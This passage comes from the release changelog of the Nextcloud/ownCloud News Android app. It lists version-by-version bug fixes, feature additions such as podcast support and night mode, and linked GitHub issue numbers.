problems\n- Feature - Support for Android Auto (Podcast playback)\n- Feature - Use picture-in-picture mode for video podcasts\n- Fix - Fix restarts of app due to a bug in android compat library (when using dark mode)\n\n0.9.9.25\n---------------------\n- Fix - app crashes\n\n0.9.9.24\n---------------------\n- Fix - app crashes\n\n0.9.9.23\n---------------------\n- Fix - app crashes\n- Feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/717\">#717 Launch a synchronization when switching from this app to another</a>\n\n0.9.9.22\n---------------------\n- Fix - app crash during startup\n- Fix - app crash during sync\n\n0.9.9.21\n---------------------\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/713\">#713 App hangs during sync </a>\n- Fix - Sync on startup not working in some cases\n- UI Improvement - Improve first app start experience\n\n0.9.9.20\n---------------------\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/702\">#702 Widget not updating</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/698\">#698 Black font color on all layouts</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/696\">#696 Background sync (automatic sync) broken</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/693\">#693 Fix background color in Settings (Thank you @AnotherDaniel)</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/683\">#683 OLED bg is lost on orientation change in auto NightMode (Thank you @AnotherDaniel)</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/681\">#681 Make audio podcasts controllable by Bluetooth media controls</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/678\">#678 Settings section/page header text is black, also in dark theme</a>\n- UI Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/704\">#704 Move About/Changelog to Settings (Thank you @AnotherDaniel)</a>\n- UI Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/690\">#690 Settings - Disable oled setting if Light theme is selected  (Thank you @AnotherDaniel)</a>\n- UI Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/688\">#688 Settings - Add missing section header of first/general settings category  (Thank you @AnotherDaniel)</a>\n- UI Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/680\">#680 Add option to only show headlines</a>\n- UI Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/677\">#677 New feed items look read</a>\n\n0.9.9.19\n---------------------\n- Feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/661\">#661 NightMode (Thank you @AnotherDaniel)</a>\n- Feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/658\">#658 Several UI refactorings</a>\n- Feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/585\">#585 Thumbnail support</a>\n- Feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/467\">#467 Adjustable Font Size (Thank you @AnotherDaniel)</a>\n- Feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/596\">#596 Download articles to view them offline</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/664\">#664 Order of folders is confusing (Thank you @AnotherDaniel)</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/633\">#633 swipe upwards to mark as read</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/667\">#667 Beeping while podcast playing/downloading</a>\n\n0.9.9.18 (Google Play)\n---------------------\n- Improve - <a href=\"https://github.com/owncloud/News-Android-App/issues/651\">#651 Automatic reload of rss item list when empty</a>\n- Improve - <a href=\"https://github.com/owncloud/News-Android-App/issues/657\">#657 Rename app from \"Nextcloud News\" to \"News\"</a>\n- Feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/478\">#478 Add Search Functionality (Thank you @NilsGriebner)</a>\n- Feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/644\">#644 Move feed (Thank you @NilsGriebner)</a>\n- Improve first sign-on experience\n- Several UI improvements\n- Single Sign On (first official beta!)\n\n0.9.9.17 (Google Play)\n---------------------\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/630\">#630 Improve unread rss item count notification (#645)</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/646\">#646 support for animated gifs on android 8.1</a>\n- Fix - Login issues when using passwords with special characters\n- Add Single Sign On (requires a non published version of the Nextcloud files app)\n\n0.9.9.16 (Google Play)\n---------------------\n- Massive improvements to the rss-item-list scrolling performance\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/632\">#632 App crash when downloading single image</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/629\">#629 Error when trying to fetch more items</a>\n- Add support for Android 8+ Notifications\n- Added widget preview - thank you @stefan-niedermann\n- Added roundIcon for API level 25 - thank you @stefan-niedermann\n- Added adaptive icon and adjusted splash screen - thank you @stefan-niedermann\n\n0.9.9.15 (Google Play)\n---------------------\n- Fix app crashes due to missing translations\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/622\">#622 Sync fails (showrss.info feeds)</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/618\">#618 No white theme in 0.9.9.13 fdroid</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/564\">#564 Feed icons don't appear to be caching</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/557\">#557 Reloading Icon barely visible</a>\n- Add option to change podcast playback speed (thanks @jwaghetti)\n\n0.9.9.14 (Google Play)\n---------------------\n- Add more translations to reduce number of app crashes\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/617\">#617 Strange behaviour when marking read with scroll</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/616\">#616 Improve usability - Blue links with dark OLED theme</a>\n\n0.9.9.13 (Google Play)\n---------------------\n- Optimization - <a href=\"https://github.com/owncloud/News-Android-App/issues/614\">#614 Black background color for OLED screens (New Theme)</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/612\">#612 Impossible to delete or edit RSS feeds</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/607\">#607 Workaround for SSL Handshake failed on Android 7.0 (thank you @svenschn)</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/606\">#606 App crash when opening \"Settings\" on Android 4.2</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/591\">#591 Add option to load links in feeds in external browser</a>\n- Fix app crash on android 8\n\n0.9.9.12 (Google Play)\n---------------------\n- Several bug fixes\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/602\">#602 crash when trying to open settings</a>\n\n0.9.9.11 (Google Play)\n---------------------\n- Fix app crashes on Android 8+\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/571\">#571 Move updates/changes to a separate CHANGES/CHANGELOG file</a>\n\n0.9.9.10 (Google Play)\n---------------------\n- Several bug fixes\n- Add support for cardview\n- Optimization - <a href=\"https://github.com/owncloud/News-Android-App/issues/590\">#590 Improve \"mark as read while scrolling\" feature</a>\n- Optimization - <a href=\"https://github.com/owncloud/News-Android-App/issues/591\">#591 Load links of feeds in external browser</a>\n\n0.9.9.9 (Google Play)\n---------------------\n- Fix several app crashes\n- Fix several widget issues\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/583\">#583 App crashes on Android 8</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/579\">#579 App crash due to invalid drawable tag vector</a>\n- Optimization - <a href=\"https://github.com/owncloud/News-Android-App/issues/575\">#575 Widget unusable on dark background</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/587\">#587 App crashes</a>\n\n0.9.9.8 (Google Play)\n---------------------\n- Fix several app crashes\n- Use flavors (for proprietary newsApi calls)\n\n0.9.9.7 (Google Play)\n---------------------\n- Fix several app crashes\n\n0.9.9.6 (Google Play)\n---------------------\n- Rewrite of sync backend (use Retrofit, Dagger, OkHttp)\n- Fix app crash (when using self signed ssl certificates)\n- Several other fixes and improvements\n\n0.9.9.5 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/559\">#559 Sync is slow</a>\n\n0.9.9.4 (Google Play)\n---------------------\n- Feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/549\">#549 Native YouTube video support</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/497\">#497 Starts playing podcast when headphones are removed</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/546\">#546 Share button has wrong color</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/540\">#540 Dialog disappears on device rotation</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/532\">#532 Graphical bug in landscape mode 10.1\"</a>\n- Optimization - <a href=\"https://github.com/owncloud/News-Android-App/issues/538\">#538 Display total number of new items instead of last fetched in the notification</a>\n- Optimization - <a href=\"https://github.com/owncloud/News-Android-App/issues/537\">#537 display news title instead of \"unread articles\"</a>\n- UI-Update - <a href=\"https://github.com/owncloud/News-Android-App/pull/542\">#542 Nextcloud Theme - Thank you @stefan-niedermann</a>\n\n0.9.9.3 (Google Play)\n---------------------\n- Critical bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/539\">#539 Can not sync with Nextcloud 11 beta 1</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/511\">#511 Prevent preload of videos</a>\n\n0.9.9.2 (Google Play)\n---------------------\n- Partial bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/532\">#532 Graphical bug in landscape mode 10.1\"</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/530\">#530 App crashes when trying to launch \"Settings\"</a>\n\n0.9.9.1 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/531\">#531 Design issues with longclick-dialogs</a>\n\n0.9.9.0 (Google Play)\n---------------------\n- Improvement - Better error handling if API returns wrong version code\n- Feature - Add Splash Screen\n- Several Bug fixes and improvements\n\n0.9.8.7 (Google Play)\n---------------------\n- Fix app crash - <a href=\"https://github.com/owncloud/News-Android-App/issues/519\">#519 New versions force quit on CM11</a>\n\n0.9.8.6 (Google Play)\n---------------------\n- Fix app crash - <a href=\"https://github.com/owncloud/News-Android-App/issues/519\">#519 New versions force quit on CM11</a>\n\n0.9.8.5 (Google Play)\n---------------------\n- Critical bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/518\">#518 Bug in 0.9.8.3: Using the app caused marking all articles as read and starred articles are lost</a>\n\n0.9.8.4\n---------------------\n- Critical bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/518\">#518 Bug in 0.9.8.3: Using the app caused marking all articles as read and starred articles are lost</a>\n\n0.9.8.3\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/502\">#502 App crash when scrolling on empty list</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/509\">#509 Sharing links duplicates titles</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/493\">#493 Server and Username disappears</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/498\">#498 Server and Username disappears</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/515\">#515 Increase the padding for article content</a>\n- Feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/513\">#513 Deduplicate articles</a>\n- Feature - add support for video/mp4 podcasts\n- Several Bug fixes and improvements\n\n0.9.8.2 (Google Play)\n---------------------\n- Critical bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/492\">#492 App crashes on start</a>\n\n0.9.8.1 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/487\">#487 App crashes when entering \"Settings\" on Android 4.4.4</a>\n- Security fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/489\">#489 rfc: disable password check</a>\n\n0.9.8 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/435\">#435 Audio podcasts: icon disappears in detailed view</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/396\">#396 podcasts stop playing, maybe high memory usage</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/463\">#463 \"Download images\" stops after a few images</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/480\">#480 Show ALT text (and TITLE) in image long-click menu</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/481\">#481 Error with special characters in the title of feed</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/479\">#479 Add a button to share article</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/445\">#445 Audio Podcast: Download progress</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/434\">#434 Audio Podcast: use androids media control elements</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/436\">#436 Audio podcast: highlight them in detailed view</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/485\">#485 Rename to \"ownCloud News\"</a>\n- Performance improvement\n- Several Bug fixes and improvements\n\n0.9.7.6 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/349\">#349 Widget always empty</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/472\">#472 Starring is broken (add swipe to star again)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/146\">#146 add context menu on pressing long on an item</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/239\">#239 Add support for OPML files import/export</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/343\">#343 Mark as read only when scrolling past article</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/374\">#374 unread badge - teslaunread-newsApi</a>\n- Security improvement (Prevent XSS)\n\n0.9.7.5 (Google Play)\n---------------------\n- Bug fix\n\n0.9.7.4 (Google Play)\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/pull/474\">#474 New Feature: Rename and remove feeds </a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/pull/465\">#465 Support for right-to-left languages</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/pull/456\">#456 Download-Directory-Chooser for images in webview</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/466\">#466 Articles are displayed in desktop view</a>\n\n0.9.7.3 (Google Play)\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/pull/431\">#431 Avoid volume change at beginning and end of feed</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/pull/430\">#430 Switched collapse folder icons</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/pull/438\">#438 context menu \"save image\" in detail view</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/410\">#410 Latest release on google play does not sync</a>\n\n0.9.7.2 (Google Play)\n---------------------\n- Add profile picture support\n- Bug fixes\n\n0.9.7.1 (Google Play)\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/359\">#359 Feed view with full article content</a>\n- UI-Tweaks - <a href=\"https://github.com/owncloud/News-Android-App/issues/377\">#377 read and star slide</a>\n- Add ShowcaseView\n\n0.9.7 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/393\">#393 Login button might get cropped / completely hidden</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/407\">#407 Auto reload news after sync</a>\n- Bug fixes\n\n0.9.6.3 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/399\">#399 Missing scroll indicator in article list</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/401\">#401 \"Open in browser\" not using default browser</a>\n\n0.9.6.2 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/394\">#394 back button doesn't work correct</a>\n\n0.9.6.1 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/381\">#381 Back button doesn't work correct in articles</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/392\">#392 Wrong article is shown</a>\n\n0.9.6 (Google Play)\n---------------------\n- Performance improvements\n- Bug fixes\n\n0.9.5.4 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/388\">#388 App crash when opening an article</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/386\">#386 News always open in external browser</a>\n\n0.9.5.3 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/383\">#383 Back button doesn't close the app on tablets</a>\n\n0.9.5.2 (Google Play)\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/376\">#376 Design improvements</a>\n\n0.9.5.1 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/371\">#371 App crash since 0.9.4 at startup</a>\n\n0.9.5 (Google Play)\n---------------------\n- UI-Redesign (special thanks to Daniel Schaal)\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/367\">#367 Widget non-functional, crashes frequently</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/366\">#366 \"Sync on startup\" option does not sync on startup only</a>\n- Bug fixes\n\n0.9.4 (Google Play - Beta)\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/363\">#363 Add support for Chrome Custom Tabs</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/361\">#361 Pause podcast when receiving call</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/pull/362\">#362 Redesign of the login dialog (special thanks to Daniel Schaal)</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/360\">#360 Fix app crash</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/364\">#364 App crash on Android < 4.1</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/258\">#258 login fails with long passwords</a>\n- Bug fixes\n\n0.9.3 (Google Play)\n---------------------\n- Several UI-Improvements (special thanks to Daniel Schaal)\n\n0.9.2 (Google Play)\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/350\">#350 option to set lines-count of title</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/318\">#318 Image in advanced News item</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/342\">#342 Low contrast checkboxes in settings (pre Lollipop)</a>\n\n0.9.1 (Google Play)\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/343\">#343 Mark as read only when scrolling past article</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/345\">#345 Pause support for podcast streams</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/348\">#348 Notification icon in Android 5.0 is just a white square</a>\n\n0.9.0 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/339\">#339 Does not remember position in article listing</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/338\">#338 Allow App to be installed on SD-Card</a>\n\n0.8.9.5 (Google Play - Beta)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/334\">#334 Display error since 0.8.6 - white screen after swiping to next article</a>\n\n0.8.8 (Google Play - Beta)\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/329\">#329 \"Mark all as read\" freezes UI for long lists.</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/333\">#333 Crash when opening Settings on Android 2.3</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/332\">#332 [0.8.7] Crash when opening article after mark newer item as read</a>\n\n0.8.7 (Google Play - Beta)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/331\">#331 Bug in 0.8.6: App crashs by opening an article in external browser</a>\n\n0.8.6 (Google Play - Beta)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/303\">#303 List Item opens wrong Article (off by one)</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/308\">#308 Allow feeds being checked as \"keep unread\" instead of \"read\" when \"mark as read while scrolling\" feature is used</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/324\">#324 when I read the last unread news the news are not marked as read</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/327\">#327 Scrolling with volume keys produces sound...</a> (Thanks @cemrich)\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/321\">#321 Disabled options menu item not greyed out in actionbar</a> (Thanks @cemrich)\n- Bug fixes\n\n0.8.5 (Google Play - Beta)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/311\">#311 Android 5.0.2 performance</a>\n- Bug fixes\n\n0.8.4 (Google Play)\n---------------------\n- PLEASE NOTE: This update deletes all your un-synchronized changes. After updating you'll need to perform a manual sync.\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/288\">#288 Text to Speech (TTS)</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/307\">#307 App crash when favicon has a height or width of 0px</a>\n- Improvement - Show dialog to share a link/open in browser on long clicking a link in the detail-view\n- Improve performance\n\n0.8.3 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/301\">#301 App crashes while adding feed</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/296\">#296 App crashes when cache is full</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/295\">#295 Images included from relative URLs are not loaded</a>\n\n0.8.2 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/292\">#292 0.8.1: Can't save sync interval</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/282\">#282 Launch by default: *rss.xml - subscribe</a>\n\n0.8.1 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/291\">#291 0.8.0: App crashes when adding new feed</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/290\">#290 0.8.0: Three dot menu in light theme wrong colors (black font on dark gray background)</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/289\">#289 0.8.0: Widget isn't working anymore</a>\n- Bug fixes/Improvements\n\n0.8.0 (Google Play)\n---------------------\n- Material Design\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/236\">#236 Read items in Android News Client are not synced to server</a>\n- Bug fixes/Improvements\n\n0.7.7 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/278\">#278 App broken on latest News release (4.0.1)</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/277\">#277 Blockquote not correctly rendered</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/272\">#272 Too much loading since v0.7.x</a>\n- Bug fixes/Improvements\n\n0.7.6 (Google Play)\n---------------------\n- Bug fixes\n\n0.7.5 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/269\">#269 App won't start</a>\n\n0.7.4 (Google Play)\n---------------------\n- Update podcast feature\n- Fix podcast video view position\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/256\">#256 3.001: Expected BEGIN_ARRAY but was Number at line 1 column 19</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/262\">#262 Deleting a feed on the server does not delete it on the client</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/257\">#257 Share \"Title - url\" via twitter</a>\n- Lot of bug fixes\n\n0.7.3 (Google Play - Beta)\n---------------------\n- Update podcast feature (Add option to download podcast)\n\n0.7.2 (Google Play - Beta)\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/252\">#252 \"Open in Browser\" should open current page.</a>\n- New feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/182\">#182 »Read« checkbox in widget</a>\n- Move \"Sync Settings\" option from Actionbar to Settings\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/212\">#212 sort order of starred items</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/124\">#124 Add download image options: Over WiFi only, Over WiFi and Mobil or ask when not connected to WiFi</a>\n- Bug fixes\n- Improve podcast layout\n\n0.7.1 (Google Play)\n---------------------\n- Layout improvements\n- Performance improvements\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/244\">#244 app crashs if screen rotate</a>\n\n0.7.0 (Google Play - Beta)\n---------------------\n- Layout improvements\n- Bug fixes\n\n0.6.9.9 (Google Play - Beta)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/245\">#245 clicking on feeds under starred items gives weird result</a>\n- Lot of bug fixes\n\n0.6.9.8 (Google Play - Beta)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/243\">#243 Readed items are not synced to owncloud</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/242\">#242 Starred items aren't counted</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/241\">#241 Feeds without unread items are shown</a>\n\n0.6.9.7 (Google Play - Beta)\n---------------------\n- Rewrite backend - **IMPORTANT** All your data will be deleted. You'll have to make a full-sync after the update.\n- Lot of bug fixes/improvements\n- Performance improvements\n- Add sorting podcasts by pub-date (descending)\n- Add showcase view (API 11+)\n\n0.6.9.6 (Google Play)\n---------------------\n- Fix app crash on devices with Android 2.2 - 2.3.*\n- Small layout improvements (podcast view)\n- Automatically restart app after podcast view has been enabled/disabled (or app theme changed)\n- Start podcasts from the item detail view\n\n0.6.9.5 (Google Play - Beta)\n---------------------\n- Add option to delete downloaded podcasts\n- Bug fixes\n\n0.6.9.4 (Google Play - Beta)\n---------------------\n- Add Podcast download support\n- Add Video Podcast Support\n- Youtube playlists are supported <a href=\"http://elliottbledsoe.com/brain-drain/how-to/rss-subscribe-to-youtube-playlist/\">(Subscribe to a YouTube playlist using RSS)</a>\n- Fix app crash\n- Other fixes and improvements\n\n0.6.9.3 (Google Play - Beta)\n---------------------\n- Accept ogg podcasts\n- Improve layout of podcast player\n\n0.6.9.2 (Google Play - Beta)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/234\">#234 Favorite items don't count in total item count</a>\n- Accept mpeg podcasts (only mp3)\n\n0.6.9.1 (Google Play - Beta)\n---------------------\n- Add notifications for Podcasts\n- Fix app crash (tablets)\n- Add option to disable podcast support\n- Add podcast view to item detail view\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/231\">#231 App 0.6.7 crashs on start or after closing</a>\n\n0.6.9 (Google Play - Beta)\n---------------------\n- Add Podcast support (early preview)\n- Bug fixes\n\n0.6.8 (Google Play - Beta)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/232\">#232 Sync of already read items creates duplicate items</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/230\">#230 Leaving space after ownCloud address in the Login dialog produces an error</a>\n\n0.6.7 (Google Play - Beta)\n---------------------\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/226\">#226 Poor sync performance under high count of unread articles</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/227\">#227 Images appears in android gallery apps</a>\n\n0.6.6 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/223\">#223 All unread article counts are 0</a>\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/220\">#220 Wrong display of unread items</a>\n\n0.6.5 (Google Play - Beta)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/223\">#223 All unread article counts are 0</a>\n\n0.6.4 (Google Play - Beta)\n---------------------\n- Improvement - Improved feed list scroll performance\n- Improvement - Fixed that the list was blocked while updating the unread count\n\n0.6.3 (Google Play - Beta)\n---------------------\n- Feature - Import Accounts from other ownCloud Apps\n\n0.6.2 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/219\">#219 No feed icons in list overview (0.6.1)</a>\n\n0.6.1 (Google Play)\n---------------------\n- Bug fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/216\">#216 Bug in list overview in 0.6.0</a>\n\n0.6.0 (Google Play - Beta)\n---------------------\n- Performance improvements\n- Layout improvement\n- Fix critical app crash when leaving the add new activity\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/199\">#199 Change App-Logo/Icon</a>\n- Improvement (better performance now) - <a href=\"https://github.com/owncloud/News-Android-App/issues/154\">#154 Scrolling feed list is slow</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/215\">#215 Adjust Colors of light and dark view to the web-interface</a>\n\n0.5.9 (Google Play - Beta)\n---------------------\n- Extreme performance improvements\n- Several bug fixes\n- Layout improvement\n- New feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/35\">#35 Subscribe to feed with app</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/208\">#208 Summary: gray font on black background</a>\n- Improvement - <a href=\"https://github.com/owncloud/News-Android-App/issues/154\">#154 Scrolling feed list is slow</a>\n\n0.5.8 (Google Play)\n---------------------\n- Bug fix - <a 